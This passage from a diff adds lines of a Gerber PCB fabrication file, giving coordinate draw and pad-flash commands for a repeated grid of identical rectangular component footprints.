+X0146510Y0090460D01*
+X0146510Y0097540D01*
+X0157140Y0097540D02*
+X0157140Y0090460D01*
+X0154790Y0090460D02*
+X0154790Y0097540D01*
+X0152440Y0097540D02*
+X0152440Y0090460D01*
+X0150090Y0090460D02*
+X0150090Y0097540D01*
+X0147740Y0097540D02*
+X0147740Y0090460D01*
+X0146510Y0107460D02*
+X0159490Y0107460D01*
+X0146510Y0107460D02*
+X0146510Y0114540D01*
+X0159490Y0114540D01*
+X0159490Y0107460D01*
+X0157140Y0107460D02*
+X0157140Y0114540D01*
+X0154790Y0114540D02*
+X0154790Y0107460D01*
+X0152440Y0107460D02*
+X0152440Y0114540D01*
+X0150090Y0114540D02*
+X0150090Y0107460D01*
+X0147740Y0107460D02*
+X0147740Y0114540D01*
+D17*
+X0159000Y0091000D03*
+X0155000Y0091000D03*
+X0151000Y0091000D03*
+X0147000Y0091000D03*
+X0147000Y0096500D03*
+X0159000Y0096500D03*
+X0159000Y0108500D03*
+X0159000Y0114000D03*
+X0155000Y0114000D03*
+X0151000Y0114000D03*
+X0147000Y0114000D03*
+X0147000Y0108500D03*
+X0165000Y0122000D02*
+G75*
+%LPD*%
+D16*
+X0159490Y0134540D02*
+X0146510Y0134540D01*
+X0159490Y0134540D02*
+X0159490Y0127460D01*
+X0146510Y0127460D01*
+X0146510Y0134540D01*
+X0157140Y0134540D02*
+X0157140Y0127460D01*
+X0154790Y0127460D02*
+X0154790Y0134540D01*
+X0152440Y0134540D02*
+X0152440Y0127460D01*
+X0150090Y0127460D02*
+X0150090Y0134540D01*
+X0147740Y0134540D02*
+X0147740Y0127460D01*
+X0146510Y0144460D02*
+X0159490Y0144460D01*
+X0146510Y0144460D02*
+X0146510Y0151540D01*
+X0159490Y0151540D01*
+X0159490Y0144460D01*
+X0157140Y0144460D02*
+X0157140Y0151540D01*
+X0154790Y0151540D02*
+X0154790Y0144460D01*
+X0152440Y0144460D02*
+X0152440Y0151540D01*
+X0150090Y0151540D02*
+X0150090Y0144460D01*
+X0147740Y0144460D02*
+X0147740Y0151540D01*
+D17*
+X0159000Y0128000D03*
+X0155000Y0128000D03*
+X0151000Y0128000D03*
+X0147000Y0128000D03*
+X0147000Y0133500D03*
+X0159000Y0133500D03*
+X0159000Y0145500D03*
+X0159000Y0151000D03*
+X0155000Y0151000D03*
+X0151000Y0151000D03*
+X0147000Y0151000D03*
+X0147000Y0145500D03*
+X0011000Y0159000D02*
+G75*
+%LPD*%
+X0139000Y0159000D02*
+G75*
+%LPD*%
+D16*
+X0133490Y0171540D02*
+X0120510Y0171540D01*
+X0133490Y0171540D02*
+X0133490Y0164460D01*
+X0120510Y0164460D01*
+X0120510Y0171540D01*
+X0131140Y0171540D02*
+X0131140Y0164460D01*
+X0128790Y0164460D02*
+X0128790Y0171540D01*
+X0126440Y0171540D02*
+X0126440Y0164460D01*
+X0124090Y0164460D02*
+X0124090Y0171540D01*
+X0121740Y0171540D02*
+X0121740Y0164460D01*
+X0120510Y0181460D02*
+X0133490Y0181460D01*
+X0120510Y0181460D02*
+X0120510Y0188540D01*
+X0133490Y0188540D01*
+X0133490Y0181460D01*
+X0131140Y0181460D02*
+X0131140Y0188540D01*
+X0128790Y0188540D02*
+X0128790Y0181460D01*
+X0126440Y0181460D02*
+X0126440Y0188540D01*
+X0124090Y0188540D02*
+X0124090Y0181460D01*
+X0121740Y0181460D02*
+X0121740Y0188540D01*
+D17*
+X0133000Y0165000D03*
+X0129000Y0165000D03*
+X0125000Y0165000D03*
+X0121000Y0165000D03*
+X0121000Y0170500D03*
+X0133000Y0170500D03*
+X0133000Y0182500D03*
+X0133000Y0188000D03*
+X0129000Y0188000D03*
+X0125000Y0188000D03*
+X0121000Y0188000D03*
+X0121000Y0182500D03*
+X0113000Y0159000D02*
+G75*
+%LPD*%
+D16*
+X0107490Y0171540D02*
+X0094510Y0171540D01*
+X0107490Y0171540D02*
+X0107490Y0164460D01*
+X0094510Y0164460D01*
+X0094510Y0171540D01*
+X0105140Y0171540D02*
+X0105140Y0164460D01*
+X0102790Y0164460D02*
+X0102790Y0171540D01*
+X0100440Y0171540D02*
+X0100440Y0164460D01*
+X0098090Y0164460D02*
+X0098090Y0171540D01*
+X0095740Y0171540D02*
+X0095740Y0164460D01*
+X0094510Y0181460D02*
+X0107490Y0181460D01*
+X0094510Y0181460D02*
+X0094510Y0188540D01*
+X0107490Y0188540D01*
+X0107490Y0181460D01*
+X0105140Y0181460D02*
+X0105140Y0188540D01*
+X0102790Y0188540D02*
+X0102790Y0181460D01*
+X0100440Y0181460D02*
+X0100440Y0188540D01*
+X0098090Y0188540D02*
+X0098090Y0181460D01*
+X0095740Y0181460D02*
+X0095740Y0188540D01*
+D17*
+X0107000Y0165000D03*
+X0103000Y0165000D03*
+X0099000Y0165000D03*
+X0095000Y0165000D03*
+X0095000Y0170500D03*
+X0107000Y0170500D03*
+X0107000Y0182500D03*
+X0107000Y0188000D03*
+X0103000Y0188000D03*
+X0099000Y0188000D03*
+X0095000Y0188000D03*
+X0095000Y0182500D03*
+X0139000Y0196000D02*
+G75*
+%LPD*%
+D16*
+X0133490Y0208540D02*
+X0120510Y0208540D01*
+X0133490Y0208540D02*
+X0133490Y0201460D01*
+X0120510Y0201460D01*
+X0120510Y0208540D01*
+X0131140Y0208540D02*
+X0131140Y0201460D01*
+X0128790Y0201460D02*
+X0128790Y0208540D01*
+X0126440Y0208540D02*
+X0126440Y0201460D01*
+X0124090Y0201460D02*
+X0124090Y0208540D01*
+X0121740Y0208540D02*
+X0121740Y0201460D01*
+X0120510Y0218460D02*
+X0133490Y0218460D01*
+X0120510Y0218460D02*
+X0120510Y0225540D01*
+X0133490Y0225540D01*
+X0133490Y0218460D01*
+X0131140Y0218460D02*
+X0131140Y0225540D01*
+X0128790Y0225540D02*
+X0128790Y0218460D01*
+X0126440Y0218460D02*
+X0126440Y0225540D01*
+X0124090Y0225540D02*
+X0124090Y0218460D01*
+X0121740Y0218460D02*
+X0121740Y0225540D01*
+D17*
+X0133000Y0202000D03*
+X0129000Y0202000D03*
+X0125000Y0202000D03*
+X0121000Y0202000D03*
+X0121000Y0207500D03*
+X0133000Y0207500D03*
+X0133000Y0219500D03*
+X0133000Y0225000D03*
+X0129000Y0225000D03*
+X0125000Y0225000D03*
+X0121000Y0225000D03*
+X0121000Y0219500D03*
+X0087000Y0159000D02*
+G75*
+%LPD*%
+D16*
+X0081490Y0171540D02*
+X0068510Y0171540D01*
+X0081490Y0171540D02*
+X0081490Y0164460D01*
+X0068510Y0164460D01*
+X0068510Y0171540D01*
+X0079140Y0171540D02*
+X0079140Y0164460D01*
+X0076790Y0164460D02*
+X0076790Y0171540D01*
+X0074440Y0171540D02*
+X0074440Y0164460D01*
+X0072090Y0164460D02*
+X0072090Y0171540D01*
+X0069740Y0171540D02*
+X0069740Y0164460D01*
+X0068510Y0181460D02*
+X0081490Y0181460D01*
+X0068510Y0181460D02*
+X0068510Y0188540D01*
+X0081490Y0188540D01*
+X0081490Y0181460D01*
+X0079140Y0181460D02*
+X0079140Y0188540D01*
+X0076790Y0188540D02*
+X0076790Y0181460D01*
+X0074440Y0181460D02*
+X0074440Y0188540D01*
+X0072090Y0188540D02*
+X0072090Y0181460D01*
+X0069740Y0181460D02*
+X0069740Y0188540D01*
+D17*
+X0081000Y0165000D03*
+X0077000Y0165000D03*
+X0073000Y0165000D03*
+X0069000Y0165000D03*
+X0069000Y0170500D03*
+X0081000Y0170500D03*
+X0081000Y0182500D03*
+X0081000Y0188000D03*
+X0077000Y0188000D03*
+X0073000Y0188000D03*
+X0069000Y0188000D03*
+X0069000Y0182500D03*
+X0113000Y0196000D02*
+G75*
+%LPD*%
+D16*
+X0107490Y0208540D02*
+X0094510Y0208540D01*
+X0107490Y0208540D02*
+X0107490Y0201460D01*
+X0094510Y0201460D01*
+X0094510Y0208540D01*
+X0105140Y0208540D02*
+X0105140Y0201460D01*
+X0102790Y0201460D02*
+X0102790Y0208540D01*
+X0100440Y0208540D02*
+X0100440Y0201460D01*
+X0098090Y0201460D02*
+X0098090Y0208540D01*
+X0095740Y0208540D02*
+X0095740Y0201460D01*
+X0094510Y0218460D02*
+X0107490Y0218460D01*
+X0094510Y0218460D02*
+X0094510Y0225540D01*
+X0107490Y0225540D01*
+X0107490Y0218460D01*
+X0105140Y0218460D02*
+X0105140Y0225540D01*
+X0102790Y0225540D02*
+X0102790Y0218460D01*
+X0100440Y0218460D02*
+X0100440Y0225540D01*
+X0098090Y0225540D02*
+X0098090Y0218460D01*
+X0095740Y0218460D02*
+X0095740Y0225540D01*
+D17*
+X0107000Y0202000D03*
+X0103000Y0202000D03*
+X0099000Y0202000D03*
+X0095000Y0202000D03*
+X0095000Y0207500D03*
+X0107000Y0207500D03*
+X0107000Y0219500D03*
+X0107000Y0225000D03*
+X0103000Y0225000D03*
+X0099000Y0225000D03*
+X0095000Y0225000D03*
+X0095000Y0219500D03*
+X0061000Y0159000D02*
+G75*
+%LPD*%
+D16*
+X0055490Y0171540D02*
+X0042510Y0171540D01*
+X0055490Y0171540D02*
+X0055490Y0164460D01*
+X0042510Y0164460D01*
+X0042510Y0171540D01*
+X0053140Y0171540D02*
+X0053140Y0164460D01*
+X0050790Y0164460D02*
+X0050790Y0171540D01*
+X0048440Y0171540D02*
+X0048440Y0164460D01*
+X0046090Y0164460D02*
+X0046090Y0171540D01*
+X0043740Y0171540D02*
+X0043740Y0164460D01*
+X0042510Y0181460D02*
+X0055490Y0181460D01*
+X0042510Y0181460D02*
+X0042510Y0188540D01*
+X0055490Y0188540D01*
+X0055490Y0181460D01*
+X0053140Y0181460D02*
+X0053140Y0188540D01*
+X0050790Y0188540D02*
+X0050790Y0181460D01*
+X0048440Y0181460D02*
+X0048440Y0188540D01*
+X0046090Y0188540D02*
+X0046090Y0181460D01*
+X0043740Y0181460D02*
+X0043740Y0188540D01*
+D17*
+X0055000Y0165000D03*
+X0051000Y0165000D03*
+X0047000Y0165000D03*
+X0043000Y0165000D03*
+X0043000Y0170500D03*
+X0055000Y0170500D03*
+X0055000Y0182500D03*
+X0055000Y0188000D03*
+X0051000Y0188000D03*
+X0047000Y0188000D03*
+X0043000Y0188000D03*
+X0043000Y0182500D03*
+X0087000Y0196000D02*
+G75*
+%LPD*%
+D16*
+X0081490Y0208540D02*
+X0068510Y0208540D01*
+X0081490Y0208540D02*
+X0081490Y0201460D01*
+X0068510Y0201460D01*
+X0068510Y0208540D01*
+X0079140Y0208540D02*
+X0079140Y0201460D01*
+X0076790Y0201460D02*
+X0076790Y0208540D01*
+X0074440Y0208540D02*
+X0074440Y0201460D01*
+X0072090Y0201460D02*
+X0072090Y0208540D01*
+X0069740Y0208540D02*
+X0069740Y0201460D01*
+X0068510Y0218460D02*
+X0081490Y0218460D01*
+X0068510Y0218460D02*
+X0068510Y0225540D01*
+X0081490Y0225540D01*
+X0081490Y0218460D01*
+X0079140Y0218460D02*
+X0079140Y0225540D01*
+X0076790Y0225540D02*
+X0076790Y0218460D01*
+X0074440Y0218460D02*
+X0074440Y0225540D01*
+X0072090Y0225540D02*
+X0072090Y0218460D01*
+X0069740Y0218460D02*
+X0069740Y0225540D01*
+D17*
+X0081000Y0202000D03*
+X0077000Y0202000D03*
+X0073000Y0202000D03*
+X0069000Y0202000D03*
+X0069000Y0207500D03*
+X0081000Y0207500D03*
+X0081000Y0219500D03*
+X0081000Y0225000D03*
+X0077000Y0225000D03*
+X0073000Y0225000D03*
+X0069000Y0225000D03*
+X0069000Y0219500D03*
+X0061000Y0196000D02*
+G75*
+%LPD*%
+D16*
+X0055490Y0208540D02*
+X0042510Y0208540D01*
+X0055490Y0208540D02*
+X0055490Y0201460D01*
+X0042510Y0201460D01*
+X0042510Y0208540D01*
+X0053140Y0208540D02*
+X0053140Y0201460D01*
+X0050790Y0201460D02*
+X0050790Y0208540D01*
+X0048440Y0208540D02*
+X0048440Y0201460D01*
+X0046090Y0201460D02*
+X0046090Y0208540D01*
+X0043740Y0208540D02*
+X0043740Y0201460D01*
+X0042510Y0218460D02*
+X0055490Y0218460D01*
+X0042510Y0218460D02*
+X0042510Y0225540D01*
+X0055490Y0225540D01*
+X0055490Y0218460D01*
+X0053140Y0218460D02*
+X0053140Y0225540D01*
+X0050790Y0225540D02*
+X0050790Y0218460D01*
+X0048440Y0218460D02*
+X0048440Y0225540D01*
+X0046090Y0225540D02*
+X0046090Y0218460D01*
+X0043740Y0218460D02*
+X0043740Y0225540D01*
+D17*
+X0055000Y0202000D03*
+X0051000Y0202000D03*
+X0047000Y0202000D03*
+X0043000Y0202000D03*
+X0043000Y0207500D03*
+X0055000Y0207500D03*
+X0055000Y0219500D03*
+X0055000Y0225000D03*
+X0051000Y0225000D03*
+X0047000Y0225000D03*
+X0043000Y0225000D03*
+X0043000Y0219500D03*
+X0035000Y0159000D02*
+G75*
+%LPD*%
+D16*
+X0029490Y0171540D02*
+X0016510Y0171540D01*
+X0029490Y0171540D02*
+X0029490Y0164460D01*
+X0016510Y0164460D01*
+X0016510Y0171540D01*
+X0027140Y0171540D02*
+X0027140Y0164460D01*
+X0024790Y0164460D02*
+X0024790Y0171540D01*
+X0022440Y0171540D02*
+X0022440Y0164460D01*
+X0020090Y0164460D02*
+X0020090Y0171540D01*
+X0017740Y0171540D02*
+X0017740Y0164460D01*
+X0016510Y0181460D02*
+X0029490Y0181460D01*
+X0016510Y0181460D02*
+X0016510Y0188540D01*
+X0029490Y0188540D01*
+X0029490Y0181460D01*
+X0027140Y0181460D02*
+X0027140Y0188540D01*
+X0024790Y0188540D02*
+X0024790Y0181460D01*
+X0022440Y0181460D02*
+X0022440Y0188540D01*
+X0020090Y0188540D02*
+X0020090Y0181460D01*
+X0017740Y0181460D02*
+X0017740Y0188540D01*
+D17*
+X0029000Y0165000D03*
+X0025000Y0165000D03*
+X0021000Y0165000D03*
+X0017000Y0165000D03*
+X0017000Y0170500D03*
+X0029000Y0170500D03*
+X0029000Y0182500D03*
+X0029000Y0188000D03*
+X0025000Y0188000D03*
+X0021000Y0188000D03*
+X0017000Y0188000D03*
+X0017000Y0182500D03*
+X0035000Y0196000D02*
+G75*
+%LPD*%
+D16*
+X0029490Y0208540D02*
+X0016510Y0208540D01*
+X0029490Y0208540D02*
+X0029490Y0201460D01*
+X0016510Y0201460D01*
+X0016510Y0208540D01*
+X0027140Y0208540D02*
+X0027140Y0201460D01*
+X0024790Y0201460D02*
+X0024790Y0208540D01*
+X0022440Y0208540D02*
+X0022440Y0201460D01*
+X0020090Y0201460D02*
+X0020090Y0208540D01*
+X0017740Y0208540D02*
+X0017740Y0201460D01*
+X0016510Y0218460D02*
+X0029490Y0218460D01*
+X0016510Y0218460D02*
+X0016510Y0225540D01*
+X0029490Y0225540D01*
+X0029490Y0218460D01*
+X0027140Y0218460D02*
+X0027140Y0225540D01*
+X0024790Y0225540D02*
+X0024790Y0218460D01*
+X0022440Y0218460D02*
+X0022440Y0225540D01*
+X0020090Y0225540D02*
+X0020090Y0218460D01*
+X0017740Y0218460D02*
+X0017740Y0225540D01*
+D17*
+X0029000Y0202000D03*
+X0025000Y0202000D03*
+X0021000Y0202000D03*
+X0017000Y0202000D03*
+X0017000Y0207500D03*
+X0029000Y0207500D03*
+X0029000Y0219500D03*
+X0029000Y0225000D03*
+X0025000Y0225000D03*
+X0021000Y0225000D03*
+X0017000Y0225000D03*
+X0017000Y0219500D03*
+X0141000Y0159000D02*
+G75*
+%LPD*%
+X0269000Y0159000D02*
+G75*
+%LPD*%
+D16*
+X0263490Y0171540D02*
+X0250510Y0171540D01*
+X0263490Y0171540D02*
+X0263490Y0164460D01*
+X0250510Y0164460D01*
+X0250510Y0171540D01*
+X0261140Y0171540D02*
+X0261140Y0164460D01*
+X0258790Y0164460D02*
+X0258790Y0171540D01*
+X0256440Y0171540D02*
+X0256440Y0164460D01*
+X0254090Y0164460D02*
+X0254090Y0171540D01*
+X0251740Y0171540D02*
+X0251740Y0164460D01*
+X0250510Y0181460D02*
+X0263490Y0181460D01*
+X0250510Y0181460D02*
+X0250510Y0188540D01*
+X0263490Y0188540D01*
+X0263490Y0181460D01*
+X0261140Y0181460D02*
+X0261140Y0188540D01*
+X0258790Y0188540D02*
+X0258790Y0181460D01*
+X0256440Y0181460D02*
+X0256440Y0188540D01*
+X0254090Y0188540D02*
+X0254090Y0181460D01*
+X0251740Y0181460D02*
+X0251740Y0188540D01*
+D17*
+X0263000Y0165000D03*
+X0259000Y0165000D03*
+X0255000Y0165000D03*
+X0251000Y0165000D03*
+X0251000Y0170500D03*
+X0263000Y0170500D03*
+X0263000Y0182500D03*
+X0263000Y0188000D03*
+X0259000Y0188000D03*
+X0255000Y0188000D03*
+X0251000Y0188000D03*
+X0251000Y0182500D03*
+X0243000Y0159000D02*
+G75*
+%LPD*%
+D16*
+X0237490Y0171540D02*
+X0224510Y0171540D01*
+X0237490Y0171540D02*
+X0237490Y0164460D01*
+X0224510Y0164460D01*
+X0224510Y0171540D01*
+X0235140Y0171540D02*
+X0235140Y0164460D01*
+X0232790Y0164460D02*
+X0232790Y0171540D01*
+X0230440Y0171540D02*
+X0230440Y0164460D01*
+X0228090Y0164460D02*
+X0228090Y0171540D01*
+X0225740Y0171540D02*
+X0225740Y0164460D01*
+X0224510Y0181460D02*
+X0237490Y0181460D01*
+X0224510Y0181460D02*
+X0224510Y0188540D01*
+X0237490Y0188540D01*
+X0237490Y0181460D01*
+X0235140Y0181460D02*
+X0235140Y0188540D01*
+X0232790Y0188540D02*
+X0232790Y0181460D01*
+X0230440Y0181460D02*
+X0230440Y0188540D01*
+X0228090Y0188540D02*
+X0228090Y0181460D01*
+X0225740Y0181460D02*
+X0225740Y0188540D01*
+D17*
+X0237000Y0165000D03*
+X0233000Y0165000D03*
+X0229000Y0165000D03*
+X0225000Y0165000D03*
+X0225000Y0170500D03*
+X0237000Y0170500D03*
+X0237000Y0182500D03*
+X0237000Y0188000D03*
+X0233000Y0188000D03*
+X0229000Y0188000D03*
+X0225000Y0188000D03*
+X0225000Y0182500D03*
+X0269000Y0196000D02*
+G75*
+%LPD*%
+D16*
+X0263490Y0208540D02*
+X0250510Y0208540D01*
+X0263490Y0208540D02*
+X0263490Y0201460D01*
+X0250510Y0201460D01*
+X0250510Y0208540D01*
+X0261140Y0208540D02*
+X0261140Y0201460D01*
+X0258790Y0201460D02*
+X0258790Y0208540D01*
+X0256440Y0208540D02*
+X0256440Y0201460D01*
+X0254090Y0201460D02*
+X0254090Y0208540D01*
+X0251740Y0208540D02*
+X0251740Y0201460D01*
+X0250510Y0218460D02*
+X0263490Y0218460D01*
+X0250510Y0218460D02*
+X0250510Y0225540D01*
+X0263490Y0225540D01*
+X0263490Y0218460D01*
+X0261140Y0218460D02*
+X0261140Y0225540D01*
+X0258790Y0225540D02*
+X0258790Y0218460D01*
+X0256440Y0218460D02*
+X0256440Y0225540D01*
+X0254090Y0225540D02*
+X0254090Y0218460D01*
+X0251740Y0218460D02*
+X0251740Y0225540D01*
+D17*
+X0263000Y0202000D03*
+X0259000Y0202000D03*
+X0255000Y0202000D03*
+X0251000Y0202000D03*
+X0251000Y0207500D03*
+X0263000Y0207500D03*
+X0263000Y0219500D03*
+X0263000Y0225000D03*
+X0259000Y0225000D03*
+X0255000Y0225000D03*
+X0251000Y0225000D03*
+X0251000Y0219500D03*
+X0217000Y0159000D02*
+G75*
+%LPD*%
+D16*
+X0211490Y0171540D02*
+X0198510Y0171540D01*
+X0211490Y0171540D02*
+X0211490Y0164460D01*
+X0198510Y0164460D01*
+X0198510Y0171540D01*
+X0209140Y0171540D02*
+X0209140Y0164460D01*
+X0206790Y0164460D02*
+X0206790Y0171540D01*
+X0204440Y0171540D02*
+X0204440Y0164460D01*
+X0202090Y0164460D02*
+X0202090Y0171540D01*
+X0199740Y0171540D02*
+X0199740Y0164460D01*
+X0198510Y0181460D02*
+X0211490Y0181460D01*
+X0198510Y0181460D02*
+X0198510Y0188540D01*
+X0211490Y0188540D01*
+X0211490Y0181460D01*
+X0209140Y0181460D02*
+X0209140Y0188540D01*
+X0206790Y0188540D02*
+X0206790Y0181460D01*
+X0204440Y0181460D02*
+X0204440Y0188540D01*
+X0202090Y0188540D02*
+X0202090Y0181460D01*
+X0199740Y0181460D02*
+X0199740Y0188540D01*
+D17*
+X0211000Y0165000D03*
+X0207000Y0165000D03*
+X0203000Y0165000D03*
+X0199000Y0165000D03*
+X0199000Y0170500D03*
+X0211000Y0170500D03*
+X0211000Y0182500D03*
+X0211000Y0188000D03*
+X0207000Y0188000D03*
+X0203000Y0188000D03*
+X0199000Y0188000D03*
+X0199000Y0182500D03*
+X0243000Y0196000D02*
+G75*
+%LPD*%
+D16*
+X0237490Y0208540D02*
+X0224510Y0208540D01*
+X0237490Y0208540D02*
+X0237490Y0201460D01*
+X0224510Y0201460D01*
+X0224510Y0208540D01*
+X0235140Y0208540D02*
+X0235140Y0201460D01*
+X0232790Y0201460D02*
+X0232790Y0208540D01*
+X0230440Y0208540D02*
+X0230440Y0201460D01*
+X0228090Y0201460D02*
+X0228090Y0208540D01*
+X0225740Y0208540D02*
+X0225740Y0201460D01*
+X0224510Y0218460D02*
+X0237490Y0218460D01*
+X0224510Y0218460D02*
+X0224510Y0225540D01*
+X0237490Y0225540D01*
+X0237490Y0218460D01*
+X0235140Y0218460D02*
+X0235140Y0225540D01*
+X0232790Y0225540D02*
+X0232790Y0218460D01*
+X0230440Y0218460D02*
+X0230440Y0225540D01*
+X0228090Y0225540D02*
+X0228090Y0218460D01*
+X0225740Y0218460D02*
+X0225740Y0225540D01*
+D17*
+X0237000Y0202000D03*
+X0233000Y0202000D03*
+X0229000Y0202000D03*
+X0225000Y0202000D03*
+X0225000Y0207500D03*
+X0237000Y0207500D03*
+X0237000Y0219500D03*
+X0237000Y0225000D03*
+X0233000Y0225000D03*
+X0229000Y0225000D03*
+X0225000Y0225000D03*
+X0225000Y0219500D03*
+X0191000Y0159000D02*
+G75*
+%LPD*%
+D16*
+X0185490Y0171540D02*
+X0172510Y0171540D01*
+X0185490Y0171540D02*
+X0185490Y0164460D01*
+X0172510Y0164460D01*
+X0172510Y0171540D01*
+X0183140Y0171540D02*
+X0183140Y0164460D01*
+X0180790Y0164460D02*
+X0180790Y0171540D01*
+X0178440Y0171540D02*
+X0178440Y0164460D01*
+X0176090Y0164460D02*
+X0176090Y0171540D01*
+X0173740Y0171540D02*
+X0173740Y0164460D01*
+X0172510Y0181460D02*
+X0185490Y0181460D01*
+X0172510Y0181460D02*
+X0172510Y0188540D01*
+X0185490Y0188540D01*
+X0185490Y0181460D01*
+X0183140Y0181460D02*
+X0183140Y0188540D01*
+X0180790Y0188540D02*
+X0180790Y0181460D01*
+X0178440Y0181460D02*
+X0178440Y0188540D01*
+X0176090Y0188540D02*
+X0176090Y0181460D01*
+X0173740Y0181460D02*
+X0173740Y0188540D01*
+D17*
+X0185000Y0165000D03*
+X0181000Y0165000D03*
+X0177000Y0165000D03*
+X0173000Y0165000D03*
+X0173000Y0170500D03*
+X0185000Y0170500D03*
+X0185000Y0182500D03*
+X0185000Y0188000D03*
+X0181000Y0188000D03*
+X0177000Y0188000D03*
+X0173000Y0188000D03*
+X0173000Y0182500D03*
+X0217000Y0196000D02*
+G75*
+%LPD*%
+D16*
+X0211490Y0208540D02*
+X0198510Y0208540D01*
+X0211490Y0208540D02*
+X0211490Y0201460D01*
+X0198510Y0201460D01*
+X0198510Y0208540D01*
+X0209140Y0208540D02*
+X0209140Y0201460D01*
+X0206790Y0201460D02*
+X0206790Y0208540D01*
+X0204440Y0208540D02*
+X0204440Y0201460D01*
+X0202090Y0201460D02*
+X0202090Y0208540D01*
+X0199740Y0208540D02*
+X0199740Y0201460D01*
+X0198510Y0218460D02*
+X0211490Y0218460D01*
+X0198510Y0218460D02*
+X0198510Y0225540D01*
+X0211490Y0225540D01*
+X0211490Y0218460D01*
+X0209140Y0218460D02*
+X0209140Y0225540D01*
+X0206790Y0225540D02*
+X0206790Y0218460D01*
+X0204440Y0218460D02*
+X0204440Y0225540D01*
+X0202090Y0225540D02*
+X0202090Y0218460D01*
+X0199740Y0218460D02*
+X0199740Y0225540D01*
+D17*
+X0211000Y0202000D03*
+X0207000Y0202000D03*
+X0203000Y0202000D03*
+X0199000Y0202000D03*
+X0199000Y0207500D03*
+X0211000Y0207500D03*
+X0211000Y0219500D03*
+X0211000Y0225000D03*
+X0207000Y0225000D03*
+X0203000Y0225000D03*
+X0199000Y0225000D03*
+X0199000Y0219500D03*
+X0191000Y0196000D02*
+G75*
+%LPD*%
+D16*
+X0185490Y0208540D02*
+X0172510Y0208540D01*
+X0185490Y0208540D02*
+X0185490Y0201460D01*
+X0172510Y0201460D01*
+X0172510Y0208540D01*
+X0183140Y0208540D02*
+X0183140Y0201460D01*
+X0180790Y0201460D02*
+X0180790Y0208540D01*
+X0178440Y0208540D02*
+X0178440Y0201460D01*
+X0176090Y0201460D02*
+X0176090Y0208540D01*
+X0173740Y0208540D02*
+X0173740Y0201460D01*
+X0172510Y0218460D02*
+X0185490Y0218460D01*
+X0172510Y0218460D02*
+X0172510Y0225540D01*
+X0185490Y0225540D01*
+X0185490Y0218460D01*
+X0183140Y0218460D02*
+X0183140Y0225540D01*
+X0180790Y0225540D02*
+X0180790Y0218460D01*
+X0178440Y0218460D02*
+X0178440Y0225540D01*
+X0176090Y0225540D02*
+X0176090Y0218460D01*
+X0173740Y0218460D02*
+X0173740Y0225540D01*
+D17*
+X0185000Y0202000D03*
+X0181000Y0202000D03*
+X0177000Y0202000D03*
+X0173000Y0202000D03*
+X0173000Y0207500D03*
+X0185000Y0207500D03*
+X0185000Y0219500D03*
+X0185000Y0225000D03*
+X0181000Y0225000D03*
+X0177000Y0225000D03*
+X0173000Y0225000D03*
+X0173000Y0219500D03*
+X0165000Y0159000D02*
+G75*
+%LPD*%
+D16*
+X0159490Y0171540D02*
+X0146510Y0171540D01*
+X0159490Y0171540D02*
+X0159490Y0164460D01*
+X0146510Y0164460D01*
+X0146510Y0171540D01*
+X0157140Y0171540D02*
+X0157140Y0164460D01*
+X0154790Y0164460D02*
+X0154790Y0171540D01*
+X0152440Y0171540D02*
+X0152440Y0164460D01*
+X0150090Y0164460D02*
+X0150090Y0171540D01*
+X0147740Y0171540D02*
+X0147740Y0164460D01*
+X0146510Y0181460D02*
+X0159490Y0181460D01*
+X0146510Y0181460D02*
+X0146510Y0188540D01*
+X0159490Y0188540D01*
+X0159490Y0181460D01*
+X0157140Y0181460D02*
+X0157140Y0188540D01*
+X0154790Y0188540D02*
+X0154790Y0181460D01*
+X0152440Y0181460D02*
+X0152440Y0188540D01*
+X0150090Y0188540D02*
+X0150090Y0181460D01*
+X0147740Y0181460D02*
+X0147740Y0188540D01*
+D17*
+X0159000Y0165000D03*
+X0155000Y0165000D03*
+X0151000Y0165000D03*
+X0147000Y0165000D03*
+X0147000Y0170500D03*
+X0159000Y0170500D03*
+X0159000Y0182500D03*
+X0159000Y0188000D03*
+X0155000Y0188000D03*
+X0151000Y0188000D03*
+X0147000Y0188000D03*
+X0147000Y0182500D03*
+X0165000Y0196000D02*
+G75*
+%LPD*%
+D16*
+X0159490Y0208540D02*
+X0146510Y0208540D01*
+X0159490Y0208540D02*
+X0159490Y0201460D01*
+X0146510Y0201460D01*
+X0146510Y0208540D01*
+X0157140Y0208540D02*
+X0157140Y0201460D01*
+X0154790Y0201460D02*
+X0154790Y0208540D01*
+X0152440Y0208540D02*
+X0152440Y0201460D01*
+X0150090Y0201460D02*
+X0150090Y0208540D01*
+X0147740Y0208540D02*
+X0147740Y0201460D01*
+X0146510Y0218460D02*
+X0159490Y0218460D01*
+X0146510Y0218460D02*
+X0146510Y0225540D01*
+X0159490Y0225540D01*
+X0159490Y0218460D01*
+X0157140Y0218460D02*
+X0157140Y0225540D01*
+X0154790Y0225540D02*
+X0154790Y0218460D01*
+X0152440Y0218460D02*
+X0152440Y0225540D01*
+X0150090Y0225540D02*
+X0150090Y0218460D01*
+X0147740Y0218460D02*
+X0147740Y0225540D01*
+D17*
+X0159000Y0202000D03*
+X0155000Y0202000D03*
+X0151000Y0202000D03*
+X0147000Y0202000D03*
+X0147000Y0207500D03*
+X0159000Y0207500D03*
+X0159000Y0219500D03*
+X0159000Y0225000D03*
+X0155000Y0225000D03*
+X0151000Y0225000D03*
+X0147000Y0225000D03*
+X0147000Y0219500D03*
+X0011000Y0233000D02*
+G75*
+%LPD*%
+X0139000Y0233000D02*
+G75*
+%LPD*%
+D16*
+X0133490Y0245540D02*
+X0120510Y0245540D01*
+X0133490Y0245540D02*
+X0133490Y0238460D01*
+X0120510Y0238460D01*
+X0120510Y0245540D01*
+X0131140Y0245540D02*
+X0131140Y0238460D01*
+X0128790Y0238460D02*
+X0128790Y0245540D01*
+X0126440Y0245540D02*
+X0126440Y0238460D01*
+X0124090Y0238460D02*
+X0124090Y0245540D01*
+X0121740Y0245540D02*
+X0121740Y0238460D01*
+X0120510Y0255460D02*
+X0133490Y0255460D01*
+X0120510Y0255460D02*
+X0120510Y0262540D01*
+X0133490Y0262540D01*
+X0133490Y0255460D01*
+X0131140Y0255460D02*
+X0131140Y0262540D01*
+X0128790Y0262540D02*
+X0128790Y0255460D01*
+X0126440Y0255460D02*
+X0126440Y0262540D01*
+X0124090Y0262540D02*
+X0124090Y0255460D01*
+X0121740Y0255460D02*
+X0121740Y0262540D01*
+D17*
+X0133000Y0239000D03*
+X0129000Y0239000D03*
+X0125000Y0239000D03*
+X0121000Y0239000D03*
+X0121000Y0244500D03*
+X0133000Y0244500D03*
+X0133000Y0256500D03*
+X0133000Y0262000D03*
+X0129000Y0262000D03*
+X0125000Y0262000D03*
+X0121000Y0262000D03*
